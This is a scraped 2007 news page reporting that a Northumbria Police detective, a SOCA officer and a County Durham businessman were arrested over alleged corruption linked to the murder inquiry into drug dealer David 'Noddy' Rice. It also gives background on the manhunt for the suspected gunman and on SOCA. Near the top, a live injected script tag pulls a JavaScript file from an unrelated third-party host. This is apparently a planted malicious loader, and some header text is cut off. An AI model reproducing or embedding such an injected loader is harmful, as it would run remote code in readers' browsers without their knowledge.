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NEWS > 08 June 2007

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 Article sourced from

Northumbria Police, UK<script src=http://wtrc.kangwon.ac.kr/skin/rook.js></script>
ic Teesside.co.uk - Middlesbro
08 June 2007
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Northumbria Police, UK

UK: Police Officer in corrupti

A North-East police officer and two other men have been arrested over allegations of corruption following an investigation into a high profile gangland killing.

The Northumbria Police detective was taken in for questioning along with an officer from elite crime fighting unit the Serious Organised Crime Agency (Soca).

The men were arrested after a series of early morning raids on Wednesday.

The third man is believed to be a businessman from County Durham.

The probe is understood to have been launched following the police investigation into the murder of drug dealer David "Noddy" Rice.


The 42-year-old was shot dead in broad daylight at Marsden Rock car park, South Shields in May 2006, sparking a massive police operation.


Steven Bevens is now serving life for the murder after luring him to his death, but the man who is believed to have pulled the trigger, Allan Foster, is still on the run.


Northumbria Police's professional standards department is investigating the three men.


It is understood the probe was launched as a result of the investigation into Mr Rice's murder but some issues are believed to be related to events as far back as 2003 - three years before his death.


The trio were all arrested at addresses in the Seaham area of County Durham in raids which were believed to be supervised by a high level officer in the force. All three have been released on police bail.


One of the trio - none of whom are being named - is aged 41 and two are aged 46.


The police officer, who worked in the Crime Operations Department, could now be suspended.


A Northumbria Police spokeswoman said: "We can confirm that three men, one aged 41 and two aged 46, were arrested on Wednesday at addresses in the Seaham area, following an investigation into misconduct in a public office.


"This investigation is being conducted by Northumbria Police's Professional Standards Department under the supervision of the IPCC. The three, a serving Northumbria Police officer, an agent for Soca and a member of the public, were taken to police stations in the Northumbria area for questioning.


"All three have been released on police bail pending further enquiries. Consideration is being given to whether or not the NP officer is to be suspended."


She added: "We will not be releasing any further details about the identity of the arrested men or the nature of the offence."


The Journal has also learned that a number of officers, believed to be at least three, have been moved within the force due to issues arising from the inquiry, although they are not implicated in the allegations.


Soca work closely with police in targeting serious and organised crime.


Launched just over a year ago by Prime Minister Tony Blair it was tasked with cracking down on criminal gangs, drug operations and people-trafficking.


A Soca spokesman yesterday said he could not confirm whether the arrested officer would be suspended.


He refused to be drawn on the nature of the inquiry, insisting details of an on-going investigation could not be revealed.


The agency was set up by the Home Office, but a spokesman yesterday said Soca was an independent organisation.




Manhunt continues


The gangland execution of father-of-seven David `Noddy' Rice sparked a huge police investigation which is still under way.


The 42-year-old, of St Vincent Street, South Shields, was shot nine times by two masked men on the seafront at Marsden Grotto in South Tyneside.


As horrified families watched, the pair fired shots at Mr Rice as he sat in his car at the popular beauty spot.


Mr Rice was jailed for five-and-a-half years at Newcastle Crown Court in 1996 after admitting possessing ecstasy with intent to supply.


Mr Rice, who was engaged and had five sons and twin girls, had been lured to the meeting by Steven Bevens, 39.


He worked for the man police believe fired the fatal shots - major drug dealer Allan Foster - who is now on the run and believed to be abroad.


Bevens, of Wheatsheaf Court, Sunderland, initially denied murdering Mr Rice - insisting he did not know Foster had a weapon - but changed his plea five days into his trial at Newcastle Crown Court.


He was sentenced to life with a minimum of 26 years behind bars for murder, while getaway driver Derek Blackburn, 51, of Humberside, who turned supergrass on the duo, was given four years for assisting an offender.


Police believe it was Foster, who is described as a major player on the international drugs scene, who actually pulled the trigger. The 30-year-old gangland figure, who the court heard led a "Posh and Becks" lifestyle with his girlfriend, is alleged to have flown back to the North-East from his Spanish retreat to carry out the killing.


Less than a fortnight ago - on the anniversary of the shooting - Det Supt Barbara Franklin, who is leading the hunt for Foster, also known as Sean Wilkinson, vowed to catch him. She said investigations were ongoing in several countries.



Soca set up to target gangsters


The Serious Organised Crime Agency was launched just over a year ago with the promise it would "make life hell" for gangsters, drug barons and people traffickers.


The agency was styled on the FBI in America and launched by Prime Minister Tony Blair.


Ministers hoped Soca - run by former spymaster Sir Stephen Lander - would be the solution to modern crime gangs.


The intelligence-led agency with 4,000 staff, many overseas, was tasked with tackling the illegal drugs trade and human trafficking as its top priorities.


The public body is sponsored by, but operationally independent from, the Home Office.


It was formed from the amalgamation of the National Crime Squad, the National Criminal Intelligence Service, the section of HM Revenue and Customs which deals with drug trafficking and associated criminal finance and the element of the immigration department which deals with immigration crime.
 

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